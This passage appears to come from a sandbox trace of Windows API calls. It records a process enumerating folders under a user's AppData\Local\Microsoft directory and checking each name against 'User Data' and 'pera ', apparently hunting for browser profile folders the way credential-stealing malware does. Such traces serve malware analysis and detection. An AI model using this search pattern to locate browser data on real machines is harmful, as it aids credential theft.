explorer\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x519a8410, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.235] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.235] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.235] lstrlenW (lpString=0x0) returned 0 [0264.235] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x519a8410, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.235] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.235] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.235] lstrlenW (lpString=0x0) returned 0 [0264.235] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1 [0264.235] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x2fa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1 [0264.235] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519a8410, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e4a11a0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="frameiconcache.dat", cAlternateFileName="FRAMEI~1.DAT")) returned 1 [0264.235] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dbf6cc0, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x4dbf6cc0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4dbf6cc0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1 [0264.235] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x518e9d30, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x518e9d30, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0264.235] lstrcmpW (lpString1="Recovery", lpString2="User Data") returned -1 [0264.235] StrStrW (lpFirst="Recovery", lpSrch="pera ") returned 0x0 [0264.235] lstrlenW (lpString=0x0) returned 0 [0264.235] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer") returned 60 [0264.235] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x518e9d30, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x518e9d30, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 0 [0264.235] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.235] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0264.235] lstrcmpW (lpString1="Media Player", lpString2="User Data") returned -1 [0264.236] StrStrW (lpFirst="Media Player", lpSrch="pera ") returned 0x0 [0264.236] lstrlenW (lpString=0x0) returned 0 [0264.236] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.236] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.238] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.238] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.238] lstrlenW (lpString=0x0) returned 0 [0264.238] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.238] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.238] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.238] lstrlenW (lpString=0x0) returned 0 [0264.238] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2ada6de0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1 [0264.241] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2acc25a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x2acc25a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x1106e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1 [0264.241] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7983b430, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1 [0264.241] lstrcmpW (lpString1="Sync Playlists", lpString2="User Data") returned -1 [0264.241] StrStrW (lpFirst="Sync Playlists", lpSrch="pera ") returned 0x0 [0264.241] lstrlenW (lpString=0x0) returned 0 [0264.241] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player") returned 55 [0264.241] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1 [0264.241] lstrcmpW (lpString1="Transcoded Files Cache", lpString2="User Data") returned -1 [0264.241] StrStrW (lpFirst="Transcoded Files Cache", lpSrch="pera ") returned 0x0 [0264.241] lstrlenW (lpString=0x0) returned 0 [0264.241] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player") returned 55 [0264.241] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0 [0264.241] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.242] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x5bb5ba10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x5bb5ba10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0264.242] lstrcmpW (lpString1="Office", lpString2="User Data") returned -1 [0264.242] StrStrW (lpFirst="Office", lpSrch="pera ") returned 0x0 [0264.242] lstrlenW (lpString=0x0) returned 0 [0264.242] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.242] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x5bb5ba10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x5bb5ba10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.243] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.243] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.243] lstrlenW (lpString=0x0) returned 0 [0264.243] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x5bb5ba10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x5bb5ba10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.244] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.244] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.244] lstrlenW (lpString=0x0) returned 0 [0264.244] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2dbcc430, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2dbcc430, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0", cAlternateFileName="")) returned 1 [0264.244] lstrcmpW (lpString1="16.0", lpString2="User Data") returned -1 [0264.244] StrStrW (lpFirst="16.0", lpSrch="pera ") returned 0x0 [0264.244] lstrlenW (lpString=0x0) returned 0 [0264.244] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office") returned 49 [0264.244] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5bb5ba10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTele", cAlternateFileName="")) returned 1 [0264.244] lstrcmpW (lpString1="OTele", lpString2="User Data") returned -1 [0264.244] StrStrW (lpFirst="OTele", lpSrch="pera ") returned 0x0 [0264.244] lstrlenW (lpString=0x0) returned 0 [0264.244] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office") returned 49 [0264.244] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5bb5ba10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTele", cAlternateFileName="")) returned 0 [0264.244] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.244] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0264.244] lstrcmpW (lpString1="OneDrive", lpString2="User Data") returned -1 [0264.244] StrStrW (lpFirst="OneDrive", lpSrch="pera ") returned 0x0 [0264.244] lstrlenW (lpString=0x0) returned 0 [0264.244] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.244] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.245] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.245] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.245] lstrlenW (lpString=0x0) returned 0 [0264.245] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.245] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.245] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.245] lstrlenW (lpString=0x0) returned 0 [0264.246] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe91c6830, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="17.3.4604.0120", cAlternateFileName="173460~1.012")) returned 1 [0264.246] lstrcmpW (lpString1="17.3.4604.0120", lpString2="User Data") returned -1 [0264.246] StrStrW (lpFirst="17.3.4604.0120", lpSrch="pera ") returned 0x0 [0264.246] lstrlenW (lpString=0x0) returned 0 [0264.246] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive") returned 51 [0264.246] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf26feb50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9617010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x44aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.exe", cAlternateFileName="")) returned 1 [0264.246] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0264.246] lstrcmpW (lpString1="setup", lpString2="User Data") returned -1 [0264.246] StrStrW (lpFirst="setup", lpSrch="pera ") returned 0x0 [0264.246] lstrlenW (lpString=0x0) returned 0 [0264.246] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive") returned 51 [0264.246] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0264.246] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.246] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x23884f50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x23884f50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0264.246] lstrcmpW (lpString1="Outlook", lpString2="User Data") returned -1 [0264.246] StrStrW (lpFirst="Outlook", lpSrch="pera ") returned 0x0 [0264.246] lstrlenW (lpString=0x0) returned 0 [0264.246] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.246] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\outlook\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x23884f50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x23884f50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.248] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.248] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.248] lstrlenW (lpString=0x0) returned 0 [0264.248] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x23884f50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x23884f50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.248] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.248] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.248] lstrlenW (lpString=0x0) returned 0 [0264.249] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2ce8e9d0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2ce8e9d0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gliding", cAlternateFileName="")) returned 1 [0264.254] lstrcmpW (lpString1="gliding", lpString2="User Data") returned -1 [0264.254] StrStrW (lpFirst="gliding", lpSrch="pera ") returned 0x0 [0264.254] lstrlenW (lpString=0x0) returned 0 [0264.254] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook") returned 50 [0264.254] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d32b470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21cff0f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21cff0f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="mapisvc.inf", cAlternateFileName="")) returned 1 [0264.254] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23884f50, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 1 [0264.254] lstrcmpW (lpString1="RoamCache", lpString2="User Data") returned -1 [0264.254] StrStrW (lpFirst="RoamCache", lpSrch="pera ") returned 0x0 [0264.254] lstrlenW (lpString=0x0) returned 0 [0264.254] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook") returned 50 [0264.254] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23884f50, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 0 [0264.254] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.254] FindNextFileW (in: hFindFile=0x6ca440, 